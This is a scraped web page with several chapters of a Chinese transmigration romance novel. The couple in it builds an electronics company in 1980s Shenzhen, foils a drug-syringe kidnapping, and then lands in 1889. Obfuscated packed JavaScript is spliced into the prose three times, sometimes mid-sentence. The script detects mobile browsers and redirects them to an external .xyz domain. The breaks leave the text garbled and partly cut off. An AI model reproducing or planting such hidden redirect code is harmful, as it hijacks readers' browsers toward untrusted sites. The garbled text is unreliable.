但办厂的计划还在往后退迟中,横在几人面前的最大问题就是资金不足。 租地建厂需要的资金可以向银行申请贷款,据他们了解到的消息,银行给出的贷款数额不会很高,而且还要预留出后续零件采购和工人工资的部分。 此外,厂子建成后初期的生产计划是组装收录机,但不能只是组装。 人工组装一来效率落后,产能和工人数量紧紧挂钩,二来合格率也不能保证。 更重要的是,这样的厂子能够轻易被取代。 所以她们的厂子还要具备加工和生产能力,换言之,她们的厂子要具备零件加工和生产线。 生产线是说有就能有的吗? 林朝阳摇头,“我们收录机完整的零件生产线目前只有京导厂和沪导厂具备,核心零件的生产线国内找不出第三家来,至于其他基础配件具备批量生产能力的国营厂也寥寥无几。” 所以就连购买淘汰生产线的选择也没有。 温苒回他:“既然国内没有,那就找外商购买。” 林朝阳惊得直接跳起来,“外商?那要多少钱?是不是还要用到外汇?” 再说国外一直对华国进行技术封锁,哪怕只是一条淘汰了的半导体零件生产线,人家会同意吗? 霍骁北看了眼窗外。 房间外正对着一条河,一河之隔,对面就是高楼林立的香江。 ** 七十年代初,内地和香江就恢复了通行,内地每天可批准一定数额的人口赴港居留。 经由直通车到达香江,在红石车站下车,四人正式踏上了香江土地。 林朝阳和曲平安全程都是懵的,一个拽一个小心翼翼跟紧夫妻俩。 霍骁北叮嘱两人别放松,回头专心护着温苒。 港英政府暂治下的香江黑色帮派林立,当街砍人巷战火并的情况比比皆是,像火车站这种人流量大的地方更是异常混乱。 车站外拦下一辆出租车,霍骁北报上地点,把发挥空间留给曲平安。 曲平安望着窗外的高楼大厦感觉眼睛都不够使了,揪着司机问这个问那个,林朝阳偶尔也好奇地插句嘴。 经过两个多月的历练,现在这两个已经能熟练使用这里的方言,两种外语也基本掌握了常用沟通用语。 难得的是因为一直在模仿温苒和霍骁北的口音,这俩人说的外语还挺地道。 出租车驶过海底隧道来到湾宝区,最终停在一家酒店前。 富阳酒店,老板杨富林正是一名如今在鹏城投资的港商,此次来港,他发话豪爽地包下了四人的吃住,打电话让经理预留了两间豪华套房。 报上杨富林的名字,在酒店工作人员一众惊奇的目光中,四个大陆仔被经理热情地迎上了顶层的豪华套房。 来到香江的第一天,见识到了现代摩登都市的繁华,曲平安和林朝阳彻夜未眠。 次日,这边温苒磨蹭到十点多才起,洗漱好和霍骁北下楼,去附近一家餐馆吃了个早午饭。 饭后两人溜达着去了酒店不远处的股交所,这也是此行的最终目的地。 温苒思来想去,短时间来钱的方式也就那几种。 去隔壁香澳来钱更快但有没有命拿很难说,但股票投资可没听说谁赚大发了就不能走,而且上辈子霍骁北深耕此道,专业十分对口。 另外,购买国外的生产线或机器以内地工厂的名义或许很困难,所以温苒打算在香江注册一家公司,届时某些不方便的交易可以由这边的公司完成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456758|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借助杨富林杨老板搞定银行账户和股票账户,霍骁北开始了他的工作。 温苒这边,负责带曲平安和林朝阳搜集信息,汇总交给霍骁北,由他做最终判断和交易决定。 曲平安两人甚至来不及开口好奇,就陷入到各种豪门八卦商业报道的海洋中。 也就这两个是门外汉,加上对夫妻俩迷之信任才这么好糊弄,换成别人不是觉得小两口在胡闹就是觉得肯定会赔个底朝天,股交所对面的大厦天台可三不五时就有人爬呢。 到年前几个月的期间,四个人的行程表固定成周一到周五去股交所,周六周日去某些宴会或聚会打探消息。 与此同时,银行账户里的数字飞涨,从五位数到六位数乃至逼近百万大关。 新年前夕,一行人和回香江过年的杨富林吃了顿饭,就通过罗谭桥返回了鹏城。 1981年的春节,四个人在鹏城租的院子里度过。 刚出正月,林朝阳去银行申请贷款,曲平安去政府部门办理租地建厂的手续。 温苒和霍骁北兵分两路,一个找上倭国商人谈购买生产线的生意,一个找上美国商人打探欧洲尤其是德国的消息。 小野寺最终答应向温苒出售一条已经淘汰的生产线,但关于机床,只要温苒提到他就顾左右而言他地装傻。 看来去德国势在必行。 1981年6月,启明电子厂正式建成。 1981年8月,电子厂招工60人。 首月生产收录机二百台,零售定价五十元,首月门店销售一空。 次月生产三百六十台,散往附近各市百货大楼,全部销售一空。 1981年10月,温苒向小野寺购买的生产线到华。 意料之中的是,整条生产线几乎报废,这样的东西相当于一堆废铜烂铁,卖给回收公司都只能论斤。 不愧是倭国人。 温苒带林朝阳足足忙活了半年,白天拆理机器晚上翻书苦读,真正的极限挑战。 期间还不得不几次回长京市,请通机厂的八级工老师傅手搓零件,才将整条报废生产线抢救回来,正式投产。 温苒上辈子在医学的海洋里扑腾好歹有个神医技能全程指导,上上辈子大学的专业是计算机就不说什么了,这辈子一头扎进电子和机械领域完全自学速成专家。 1982年夏,启明电子门店上新两款新产品:台扇和随身听。 随身听一经推出便火爆南方,因体积小方便携带和样式美观成为年轻人追捧的单品。 同时启明随身听的价格也十分亲民,迅速抢占了随身听市场。 新年前夕,启明电子举行促销打折活动,门店产品几乎被哄抢一光。 鹏城新建的小区里,今年只有霍骁北和温苒两人一起吃年夜饭。 曲平安和林朝阳被家长喊回长京相亲,走的时候一个个都拉拉着脸不情不愿的。 房间里只有两人,却不显得冷清。 一边包饺子,温苒和霍骁北商量着明年去欧洲的事情。 叮铃铃—— 霍骁北去了厨房烧水煮饺子,温苒拿起电话接通,话筒里冲出慌乱的尖叫: “不好了老板,咱们店被砸了!” 29. 第 29 章 除夕前一天晚上,启明电子在城中心的门店被一群混混光顾。 所幸年前门店促销打折将店里的库存一扫而空,活动结束后电子厂就放了年假,厂区和门店都只有值班员工留下。 这场风波中无人受伤,也基本没有财物损失。 两人连夜赶去现场,安抚员工给予补偿,并报警交代情况。 类似的事情在启明这里已经不是第一次。 知青返城产生了大量失业人员,某些犯罪团伙自然而然从这个群体中诞生,与此同时犯罪率伴随着失业率飙升,社会就会陷入不稳定境地中。 东广省作为国家改革开放的前沿,近两年恶性事件频发,报纸上抢劫杀人绑票的新闻层出不穷,羊城甚至发生过劫车爆炸案。 温苒每次往返工厂都是霍骁北亲自接送,要是哪次他去香江处理工作,也会安排一串退伍兵保镖护送她上下班。 饶是如此她也碰到过几次危险,启明电子厂在东广省甚至整个南方都赫赫有名,多的是眼睛盯着她这块肉。 不过也快了,明年国家就会开启严打行动,这些犯罪团伙至少不会再这么嚣张。 新年无事,几乎全年午休的温苒给自己安排了一个舒适的假期计划,却在第一天就彻底夭折。 霍骁北! 她是放假!不是要加班! 你见过早晨四点钟的太阳吗? 温苒可以很肯定的说,四点钟没有太阳…… 正月初十,回京的两人再来就变成了四个人。 林朝阳结婚了。 结婚对象说起来还有点关系,是陈副局长媳妇儿娘家的侄女,是一名老师,到鹏城来的工作也确定了是在新建的高中继续教书。 曲平安没有结婚,他带的姑娘是潘奶奶儿媳的堂姐的女儿,因为不想被亲爹逼着嫁傻子换彩礼就跑去了长京市。 不过电话里潘奶奶和赵奶奶都说了,她俩觉着这姑娘不错,模样好性子坚韧要强,想让她和曲平安处一处。 年后恢复生产,启明的店铺一月间被抢劫团伙频繁光顾。 虽然事先叮嘱过员工们以大家的安全为主,但慌乱中不免出现顾客受伤的例子,甚至有一次账本被撕了一半。 门店客流量因而一再减少,比起来财物损失的数额反而是最不重要的。 警察抓到了两回,但下次来的就是另一波。 霍骁北觉得这里面有点问题,费了些功夫从那些混混嘴里问出来,是有人专门找他们抢劫这家店。 顺着这条线调查下去,发现幕后黑手是一家合资电子厂的老板。 巧了,对方工厂生产的产品就是收音机,只不过是晶体管收音机。 更巧的是,那名合资的外商是一名倭国商人,还是先前汽车维修厂的老板小野寺先生的朋友。 这一个月里频繁的抢劫事件是一场恶性的商业竞争。 对方找人办事做得相当隐蔽,警察抓不到他们的把柄,即便能抓到他们也早就准备好了替罪羊。 不过霍骁北也不是吃素的,转头找合作的厂子卡了他们几次配件订单。 国内这几次不痛不痒的针对只是让对方掉以轻心,霍骁北同时通过在香江注册的公司向东南亚出口了一批收录机和随身听。 其中有国营厂生产的晶体管收音机,也有启明电子厂的产品,主打一个从低端到高端通吃。 因为价格实惠功能多样,顺利从早先占下这份市场的倭商手里狠狠咬下一块肉。 市场有了,外汇有了,收益不佳的国营厂也颤颤巍巍地站起来了。 对方吃到教训暂时老实下来,还请了小野寺来做说客,礼数和面子给得很足。 这帮东西什么德性大家都清楚,话说得比谁都好听,捅刀子的时候也比谁都利索。 但总归是来华投资的商人,霍骁北面上高抬贵手,私下里却一直防备着。 1983年8月,全国上下掀起一场轰轰烈烈的严打行动。 这场行动带来的最明显的变化,就是启明门店的玻璃窗终于不用再频繁更换了。 十月份,温苒和霍骁北决定了欧洲之行,鹏城和香江两地的一切事物就交给了曲平安和林朝阳。 这几年两人可以说什么大风大浪没经历过,早就可以独当一面。 欧洲之行收获满满。 两条机床生产线坐上轮船驶向华国,另外温苒确定了公司的下一步发展方向。 电器研发和生产可以独立出一家分公司,相应的电子领域则是未来启明的核心业务。 1985年中秋,温苒接到了来自长京的红梅姨的电话。 温宝昌死了。 据说他是被饿死的。 当初温志伟伤了何德民之后,偷走宋爱民认购房子的钱跑来了南方。 巧的是,曲平安曾在香江见过一次温志伟,但温志伟并没有认出他来。 温志伟跑了以后,为了分到房子,闫春枝带着瘫痪的温宝昌去厂里卖惨。 但事情没有结束,宋爱民被何德民一家缠上了。 那时候红梅姨给温苒打电话,说家属院几乎天天有大戏看。 两家这么你来我往的闹腾了两年,宋爱民突然把工作卖了,说是要去南方找他弟弟温志伟,就和闫春枝一起不见了踪影。 剩下温宝昌和陈招娣母女四个,厂里领导念着温宝昌曾是通机厂的老员工没有把她们赶出去。 但紧接着宋爱民和闫春枝母子半年都没有消息,陈招娣精神失常,被她娘家人接了回去。 温苒知道这件事后,通过曲胜利资助了陈招娣的三个女儿上学,甚至贴心地租下胡同里某处空房给这三姐妹居住。 嗯,都去上学,不许照顾温宝昌,让他自生自灭。 至于瘫痪在床的温宝昌嘛,无法联系上的温苒表示,他只能自己掏钱请护工。 就不信他手里没点别的底牌。 在受尽白眼狼继子和毒妇闫春枝的虐待后,重新当回有钱大爷的温宝昌彻底放飞自我,脾气暴躁刁钻,气走了一个又一个护工。 终于这一年,温宝昌因护工的恶意报复饿死在房间里。 人们发现的时候,温宝昌已经死了一个星期。 正值夏天,尸臭味儿加上屎尿骚味儿,堪称大规模杀伤性武器,把前后几栋楼的住户都给熏得只能去别家借住打地铺。 亲爹死得这么惨,亲儿子怎么能不知道呢? 温苒告诉霍骁北,霍骁北找人把这个故事讲给了如今混成帮派小领导的温志伟。 温志伟愧疚懊悔,但他不认为错在自己,毕竟没有照顾好温宝昌的是闫春枝和宋爱民。 他被逼远走他乡无法尽孝,但宋爱民你不是还在? 宋爱民吃的穿的用的哪样不是他爹温宝昌给的,就连工作也给了宋爱民,宋爱民向他爹尽孝不是应该的? 温志伟决定为父报仇。 听说宋爱民也来了南方,温志伟花大价钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465960|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人打听他的消息,并表示找到人后直接带来香江。 他要在堂口众人面前处决宋爱民,这个自己同母异父不孝不义罪大恶极的兄长,借此在堂口里树立威信。 因为改革开放,这两年出现了一批在内地和港澳流窜作案的犯罪团伙。 温志伟找的就是这帮人。 这帮人犯了案就跑,踪迹难寻,香江警察抓不到也找不到,完全拿他们束手无策。 猫抓老鼠没办法,老鼠找老鼠却一找一个准。 霍骁北一直让人盯着温志伟,得到犯罪团伙接下来的动向后,善意地向羊城严打行动组递了个消息。 没多久,报纸上就传来穷凶极恶的犯罪团伙落网的消息。 不知是不是因为这次羊城警方向外界展现的华国对于犯罪团伙的绝不姑息,此后不仅国内很是安生了一段时间,还吸引了几个来内陆投资的外国大商人。 温志伟的计划落空,正要再次雇人去内地找人,却在这时一个消息传到他耳朵里。 有人在东区看到了闫春枝的身影! 你问为什么别人知道会知道闫春枝的长相,这是因为温志伟在偷跑前无意间拿了一张全家福,上面正好有除了温苒之外所有的温家人。 好啊! 温志伟立马找上闫春枝,然后震惊地发现她不仅住在百十来平的豪宅里,还有佣人伺候?! 而且他还得知宋爱民已经死了?! 这里面有段故事。 早前闫春枝和宋爱民母子两个跑来南方,名义是要找温志伟,其实是打算偷渡来香江。 改革开放后,内地和外界的消息逐渐流通,闫春枝无意间得知了曾经的马夫丈夫的雇主,大资本家宋氏三房的六少爷就在香江。 这位宋家六少也正是宋爱民真正的亲生父亲,母子两个当即直奔香江寻亲。 但普通人想去香江何其困难,何况他们母子俩这辈子就只知道怎么靠别人,一遇到事宋爱民就六神无主,他脾气还爆,连闫春枝都挨过他几下。 最后是闫春枝想了个办法,勾搭了在内地香江两头跑的蛇头,母子俩这才来到香江。 但真正的困难才刚开始。 人生地不熟语言还不通,来了几天就几天没吃饭,宋爱民忍不住饿去偷了东西,结果被人活活打死了。 闫春枝倒是侥幸活了下来,她除了刚来那几天吃过苦,后面有了钱,直接找上宋家六少爷,然后就一直过着吃穿不愁的四房太太的生活。 温志伟知道的事情,温苒这边也都通过霍骁北知道了。 她好奇:“闫春枝哪来的钱?” 霍骁北默了默,“她把宋爱民卖了,给乡下一户人家结阴亲。” 顺带说一句,那家还是个儿子,因为性取向不被家里人接受选择了自杀。 温苒:“……” 再之后,温苒偶然得知,那位宋家六少,不对,现在应该是宋家六老爷多了一个来自内地的儿子。 而在此之前,这位六老爷只有八个女儿,在宋家老太爷面前就是小透明。 香江豪门的传统,没儿子就没底气。 六老爷有了儿子宋志伟就有了争家产的宏愿,恰逢宋家也有来内地投资的意向,父子两个一商量,宋志伟就来了鹏城。 这之后不久,启明的门店又双叒叕被砸了,启明电子厂的仓库还被人放了场大火。 不仅如此,温苒下班回家,坐的轿车被几个飞车党拦截,意图绑票。 30. 第 30 章 轿车被摩托逼停。 后座上温苒淡定地拿起对讲机吩咐大家先别动作。 前几年军队裁军,霍骁北将一些战友请来鹏城,他出钱和战友们合作成立了一家安保公司。 从那以后温苒的安保级别就又蹭蹭涨了几个档次,真遇上绑架团伙可说不好是谁绑谁。 飞车党几个小混混显然不是主谋。 对讲机里传来前面那辆车保镖的汇报:“路口出现一辆轿车。” 轿车里下来一个西装革履头戴墨镜的年轻人,手里把玩着打火机,走过第一辆车来到中间的轿车旁。 紧接着温苒就听车窗从外面被敲响,她盯着车外来人,有些好笑。 真成宋志伟了? 可惜温宝昌死得太早,不然一定要他亲眼看看,他最宝贝的儿子认了别人当爹。 车窗缓缓下降,露出温苒那张清丽出尘的脸蛋,和她戏谑的目光。 温志伟怒意涌上来,一瞬间表情有些狰狞,但很快他嘴角上扬满意地笑出声来。 他生什么气,给这个女人准备的下场会让她知道什么是后悔,待会儿有她跪地求饶的时候。 温志伟摘掉墨镜,挥挥手,“拿上来。” 话落,一人提着医药箱上前举高,温志伟打开箱子,从里取出一只注射器,慢悠悠地将针筒填满。 温苒静静地注视着他的动作,很好,待会儿送他进去的罪名都有了。 察觉到她的视线,宋志伟笑出声来,语气里带着满满的恶意,“知道这是什么吗?” 不需要温苒回答,他自己接话:“不知道也没关系,以后你会求着我给你。” 温苒顿时跟看傻子一样看着宋志伟。 宋志伟举起针筒,抬脚踹向车子,笑容兴奋,“下来吧。” 温苒挑眉,“你先靠过来点。” 宋志伟皱了下眉头面露不悦,但随即想到恐怕这女人早被这阵仗吓得腿软了,算了,他受累拉她一把就是。 宋志伟向前迈步,俯下身去拉车门,就在这时额头忽地抵上一片冷硬的冰凉。 曾经在香江□□混过,至今还有联系的宋志伟脸一下就白了,眼底满是不可置信,“你——” 温苒语气冷漠,“闭嘴。” 她视线微转瞥向宋志伟身后,“都别动,这位宋家大少能不能留着狗命就看你们了,要是吓到我,呵!” 众人掏枪举刀的动作僵住,一时间面面相觑。 宋志伟余光将这情况收入眼底,紧咬着牙关急得一张脸都憋红了。 一帮废物! 上啊! 这娘们估计连板机都没扣过拿着枪也就唬唬一般人,随便哪个一枪就能崩了她! 然而让宋志伟失望了。 前后两辆车的保镖收到温苒指示迅速出动,三两下就把一群人五花大绑。 接着保镖队长征用绑匪的摩托车,派了个人进城喊警察。 威胁清除,温苒收起枪下车,朝那个医药箱走过去。 保镖队长担心可能会有炸药,不让温苒靠太近,她只能隔着两三米观察。 “应该不是炸药,我猜是新型毒·品。”温苒说道。 队长惊讶,眼神像刀子一样唰一下射向被捆成粽子的宋志伟,“毒·品?这小子要给弟妹你注射毒·品?他想做什么?他活腻歪了吧?” 活腻歪的宋志伟恼羞成怒,身体扭动不停挣扎,被抹布塞满的嘴里发出哼哼唧唧跟杀猪一样的声音。 温苒看了一眼就嫌弃地收回目光。 不理解,这种人是怎么当上的男主的? “最近鹏城不是出现了一种高纯度上瘾性很强的新毒·品?”温苒继续和保镖队长对话。 队长摇头,“这个是液体,那个伪装成了糖丸,据说是从香江传过来的,受害者大多是年纪不大的学生,真是造孽!老霍这次去对面就是为了这件事。” 毒·品近两年开始在南方泛滥,这种东西防不胜防,连启明的员工里都有染上毒·瘾的,为了买毒·品和犯罪团伙里应外合抢劫门店。 幸好那时候安保公司已经成立,店里安排了大量安保,最终才没有造成人员伤亡。 看完了,温苒往车上走,“如果是同一种毒·品的话,可能箱子里的纯度更高。” 宋志伟手上有这东西,也就意味着要么他认识那个毒贩子,要么他就是那个毒贩子。 后者不是没可能,据温苒所知宋志伟认祖归宗后不仅没有脱离帮派,还因此一跃成了帮派领导。 而香江□□黄赌毒俱全,甚至已经形成了产业链。 男人赌博输钱,逼迫家里的女人去卖·淫赚钱;或者男人染上毒瘾,逼迫家里的女人去卖·淫赚钱;再或者让好好的女生染上毒·瘾,逼迫她们去卖·淫赚钱。 温苒忽然反应过来,该不会温志伟也想在她身上来这一套吧? 呵,严打时期进橘子,没两天他就能下去见他爹温宝昌,真是便宜这垃圾东西了。 很快警察赶过来,薅上这群绑匪去了警局。 温苒也被请进去做了个笔录。 这次绑架事件不仅仅是因为私人恩怨,宋志伟应该还盯上了启明电子厂,或者说他亲自出面,要给温苒注射毒·品这种泄私愤的行为才是顺带的。 然而做完笔录温苒却没有被允许离开。 审讯室的隔音效果不好,那傻逼得意洋洋地大声自首:“温苒你跑不了!我死也要拉个垫背的!启明电子厂老板的女人是个毒·贩!这个女人是个毒·贩!” 温苒:“……” 收到信儿急匆匆赶过来曲平安和林朝阳两对夫妻:“?!” 曲平安一个急刹,还没站稳就怒气冲冲朝那道声音蹿过去,“你他爹放什么狗屁呢?” 林朝阳都没拉住,是几个警察半道把曲平安擒住拧送回来的。 林朝阳让曲平安别冲动。 宋志伟嫌疑最大,他说这话又明显带着个人情绪,警察又不是没脑子,只是程序性地暂时留下温苒而已。 确定没什么大问题后,林朝阳夫妻俩回家带饭菜过来,五个人挤在休息室里过了一宿。 深夜,天边星子闪烁,海风裹挟着水汽穿过这座新兴的城市。 一辆轿车停在鹏城市警局门口,风尘仆仆的身影从上面下来,步履匆匆地进了警局。 休息室条件不好,床板硬得硌骨头,温苒睡得很不踏实。 半梦半醒中,她恍惚落入一个熟悉的怀抱,呼吸间是让人安心的味道,紧绷的思绪放松下来,她沉沉睡过去。 次日一大早,曲平安先醒了,坐起来伸懒腰,胳膊抻到一半,余光往旁边一瞥,就瞥见了温苒旁边坐靠在墙上那个不应该出现在这里的身影。 “北哥?你、你——” 霍骁北睁开眼下意识先去看温苒,确认她没受影响,给她抻了抻被角,才起身叫上曲平安离开屋子。 走廊里还安静着,警察们忙了一宿这会儿正打盹儿恢复精神,曲平安也不敢太大声,“北哥你怎么回来了?” 霍骁北点头,“接到电话就回来了。” 曲平安张张嘴,他想说你在香江的事情怎么办,又想说这也太快了,最后还是决定闭嘴。 这么多年了又不是不清楚,小苒的事情在北哥那里永远排在第一。 不多会儿林朝阳出来,看到霍骁北也只是惊讶了一瞬,很快反应过来这很正常。 霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想要狸猫换太子的闫春芝被丢脸丢到太平洋的宋家六老爷愤怒地扫地出门。 八五年年底,被宋家除名又改回本名的温志伟被执行枪决。 相亲相爱的一家四口,父子三个已经在下面团聚,只剩下闫春枝在香江的街头流浪讨饭苟延残喘。 而这些都和温苒没多大关系了。 八十年代末,启明正式将电器和电子业务切割开,独立成两家分公司。 1993年,启明电子研发生产了国内第一款大哥大手机。 此后整个九十年代,启明电子稳扎通信领域,其技术水平和品牌影响力在国际上始终名列前茅。 步入新世纪,千禧年之初,启明推出第一款个人电脑以及配套的操作系统。 启明出品,必属精品。 启明理念,创新、务实。 启明四十周年典礼上,作为启明的创始人之一和启明的灵魂人物温苒发表了讲话。 岁月似乎格外珍惜这位女士,她的眼神清澈而坚定,面容安静而美丽,话语中充满了智慧。 典礼结束后,温苒和霍骁北相携离开会场,最后看了一眼这个世界。 一位记者将夫妻两人对视的画面记录下来,第二天的报纸上出现一篇文章,文章中写: 【曾听许多人可惜过,温女士和霍先生一生未育,笔者不禁嗤笑。 哪有什么可惜? 她或他拥有热爱并为之奋斗一生的事业,拥有最赤诚纯粹的爱意,她们灵魂相契,这是最美好的样子。】 31. 第 31 章 1889年。 直隶省大化府。 林庄儿村。 刚出正月,村里就发生了件大事。 老温家三儿的丫头小花儿和地主长工家姓霍的小子跑了。 梅岭山上新占的土匪头子沙麻金一怒之下,连夜派人毁了老温家田里刚栽的庄稼秧苗。 大清早听到这个消息,温老汉翻着白眼就厥了过去。 等一家子跑去田埂上瞅,看到地里猪拱过一般叫翻了个底朝天,又当场晕死几个。 老温家闹得是人仰马翻。 那帮小匪子真是没人性! 毁完庄稼不算,这天前晌又去扒了老温家两面院墙,临走前还放话:“三天之内,我们大当家活要见人死要见尸!” 庄户人家日子难过啊。 连年灾荒,又逢人祸,老天爷这是丁点儿不给人活头! 土匪们离开后,村民们围上去,七嘴八舌道: “趁早跑吧!” “走!带上咱兄弟们上霍家要人去!” “赶紧把花儿找回来吧!不能叫她一个丫头片子拖累全家啊!” 温老三的婆娘陈六娘,也是小花儿的亲娘,此时此刻瘫倒在地上,望着家里一片狼藉,想到田里被毁的庄稼,眼里死寂一般,心头渐渐浮上悔意。 难道真要用全家人的命去换花儿一个人的命? 林庄儿村外,通向县城的大道上尘土飞扬,一匹枣红色高头骏马奔驰而来。 马背上,高大精壮的男人掌控缰绳,怀里护着睡眼惺忪的纤瘦女子。 这一男一女,赫然就是林庄儿村这场风波的主人公: 温老汉三儿的丫头温小花; 地主长工家的小子霍北; 也是被错误投放到这个乱世中的温苒和霍骁北。 两人在温苒大一下学期时确定了恋爱关系,虽然年纪相差六岁,但感情关系一直很稳定。 温苒大学毕业后,两家举办了订婚宴,预备等她研究生毕业就结婚。 穿越之前,小情侣正在某海岛度假。 那天夜里霍骁北还翻阳台进了温苒房间,磨磨蹭蹭不愿意离开,最后是在床边打了一宿铺盖。 哪想到只是睡了一觉,眼睛一闭一睁,就来到了这个动荡的年代。 原本两人应该前往的世界要往后翻动100年,也就是1989年。 九十年代的华国虽不如后世繁华先进,却是太平盛世,也是祖国腾飞前夕,在那个时代有手有脚起码不愁吃穿。 然相隔百年,1889年的今天,正处于华国最后一个封建王朝的末期。 在未来几十载岁月中,这片有着悠久文明的广袤山河,将会经历数千年未有之翻天覆地的巨变。 届时烽烟四起,头颅堆山,鲜血成河,遍地先烈的尸骸方才铸成民族脊梁。 霍骁北两世从军,十分愿意为未来的祖国贡献一份自己微薄的力量。 温苒生在21世纪繁荣富强的华国,娇生惯养着长大,来到这个时代后却没想独善其身,她也做好了奉献的准备。 但系统不让。 任务者可对个人命运做出干涉,却禁止扰乱历史进程,系统甚至要求两人在十年内离开这片大陆。 至此,所有雄心壮志皆胎死腹中。 回到现实,摆在两人面前的最大问题是如何在乱世中保全自己。 虽然有金手指签到系统,物资充沛,衣食无忧,但远渡重洋离开华国的船票却是个大难题。 而离开华国后她们又能去哪里呢? 在华国之外的国家,无论白皮黑皮乃至东南亚的黄皮肤从世纪之初就都在有志一同地排华反华,甚至对华国人进行惨无人道的屠杀。 世界之大,竟有一种无容身之处的荒唐。 由于此次投放时空出现差错,两人没有任务在身。 但既然接受了原身的身份,自然不能对因原身私奔导致的温家的处境视而不见。 而要破除温家的困境,首要是解决梅岭山上的那伙土匪,这又是另一个难题。 是智取还是武斗? 智取可有对策? 武斗可能以一敌百? 事后她二人离开,又如何保证那些土匪说到做到放过温家? 两人嘀嘀咕咕了一夜,设想了种种办法,天亮之后,决定先折回林庄村救人。 路上温苒熟睡的这段时间,霍骁北一边御马赶路,脑子也没闲着,有的没的盘算了一堆。 乍然来到新的世界,还处在乱世中,温苒虽然极力在掩饰,但霍骁北能感觉到她的慌张害怕。 霍骁北其实心里也有些没底,他一个人无论什么条件都可以,可温苒上辈子吃什么都没吃过苦,他挺担心温苒会受不了崩溃。 他得尽快做点什么,让温苒能稍稍安心。 温苒醒来时,入眼是深蓝色帐篷顶。 揉着眼睛坐起来,她环视四周一圈,记忆都有些混乱了。 她们不是穿越了吗? 呆坐几秒,帐篷外响起一串脚步声,接着帐篷口从外打开,高大的身影钻进来,帐篷里一下子就变得拥挤。 温苒定睛一看,认出来人后她扑过去,靠在霍骁北胸膛前蹭了蹭,仰头期待地问他:“我们是不是回来了?” 霍骁北揉揉她睡得毛躁的头顶,“还没有。” 温苒一秒丧气,松开他,无精打采道:“那我们现在在哪里?” 霍骁北:“梅岭山。” 温苒唰一下抬起头,杏眼睁圆,惊得语无伦次:“那那那个土匪山寨?!” 她紧张地左看看右看看,又把自己塞回霍骁北的怀里,压低声音:“会被发现的!” “不会。”霍骁北安慰她解释:“梅岭山前前后后五座山,土匪们在别的山头上。我们不方便在村里露面,在解决这里的事情之前,暂时就在山里落脚。” 梅岭山五座大山头范围极广,是太行山脉在冀南和豫北交界往东蔓延出的一条小山脉。 梅岭山高处是真高,且既然带了个‘岭’字,说明地势险峻,大山深处一般人轻易入不得。 土匪们打家劫舍,占山为王,占的山也不是随便占的。 梅岭山最矮的两座山头,正坐落在附近十里八乡进城的必经之路上,也正方便土匪们盘踞在此拦路收费杀人越货。 至于其他几座高险的山头,便是抛没人性的土匪也没那个胆子去探一探。 两人过来时刻意趁了个大早,那会儿土匪们正趴窝里打鼾呢,不然叫他们瞧见那神勇的骏马必是要霸下来的。 骑着马动静太大,加上两人不方便露面,霍骁北就没进村子。 在靠近村口的位置他转了方向,照原主的记忆绕到土匪山的背面,带着温苒进了和另一座大山围成的山谷里。 这坳子的位置不算深山,当下时节却也鲜少有人光顾,作为临时落脚的地方还算合适。 帐篷外,霍骁北搭灶生火,熬了一锅浓浓的小米粥。 米粥配上系统签到曾经奖励的肉夹馍,和霍骁北自己腌的小咸菜,就是今天两人的晚餐了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475274|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >日头还没落山,但山里黑得早,看东西已经不那么清楚了。 霍骁北拿出台灯搁到折叠饭桌上,摆饭开吃。 温苒早就饿得前胸贴后背,比她脸还大的肉夹馍她哐哐干了一个半,小米粥也灌了两碗。 怕她撑坏了,霍骁北拦着没让再多吃。 穿越后,两人的身体还是自己的长相,但状态完全复刻原主的情况,旧社会老百姓的生活水平能有多好?怕是打小就没吃过一顿饱饭,导致温苒现在看到吃的就眼冒绿光。 肚子虽然吃撑了,温苒还是觉得饿,从系统包裹里一堆东西中挑出牛肉干来磨牙。 一切不幸中的万幸。 她没有裹小脚。 嗯,但霍骁北留了辫子。 只是本该锃光瓦亮的大脑门长了一茬儿短发,这么着比秃子也好看不了多少。 随着满清政府的统治力减弱,民间男子的发型虽还一直保留着后头那根辫子,但前面额头上的头发干脆不剃或很长时间才剃一次。 这种情形演变到后来,清末民初时,一场剪发易服运动席卷全国。 现在,霍骁北还不能剪辫子,但温苒决定剪头发。 在尘土飞扬的道路上跑马会逼死洁癖,温苒不是洁癖,她只是爱干净,受不了打结的长头发里满是细细密密的沙子。 